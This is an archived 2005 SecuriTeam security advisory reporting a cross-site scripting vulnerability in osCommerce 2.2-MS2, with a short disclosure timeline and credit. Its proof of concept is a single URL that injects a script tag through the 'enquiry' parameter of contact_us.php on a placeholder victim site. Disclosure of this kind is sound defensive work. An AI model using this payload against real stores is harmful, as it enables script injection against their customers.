

# [NT] Cross Site Scripting Vulnerability in osCommerce

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-02/0088.html>

---

**From:** SecuriTeam (*support\_at\_securiteam.com*)

**Date:** 02/22/05

To: list@securiteam.com

Date: 22 Feb 2005 16:05:41 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Cross Site Scripting Vulnerability in osCommerce

---

## SUMMARY

<<http://www.oscommerce.com/>> osCommerce is "an online shop e-commerce solution under on going development by the open source community. Its feature packed out-of-the-box installation allows store owners to setup, run, and maintain their online stores with minimum effort and with absolutely no costs or license fees involved."

A vulnerability in osCommerce allows a malicious attacker to run Cross Site Scripting attacks on vulnerable systems.

## DETAILS

Vulnerable Systems:

\* osCommerce version 2.2-MS2

Proof of Concept:

Following link will run malicious script :

[http://www.victimsite.com/contact\\_us.php?&name=1&email=1&enquiry=%3C/textarea%3E%3Cscript%3Ealert\(docu](http://www.victimsite.com/contact_us.php?&name=1&email=1&enquiry=%3C/textarea%3E%3Cscript%3Ealert(docu)

Disclosure Timeline:

Securiteam: [NT] Cross Site Scripting Vulnerability in osCommerce

- \* 09/02/2005 – Vulnerability discovered
- \* 09/02/2005 – Informed

ADDITIONAL INFORMATION

The information has been provided by <mailto:johnc@nobytes.com> John Cobb.

The original article can be found at: <<http://www.nobytes.com>>  
<http://www.nobytes.com>

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
list-unsubscribe@securiteam.com  
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====  
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.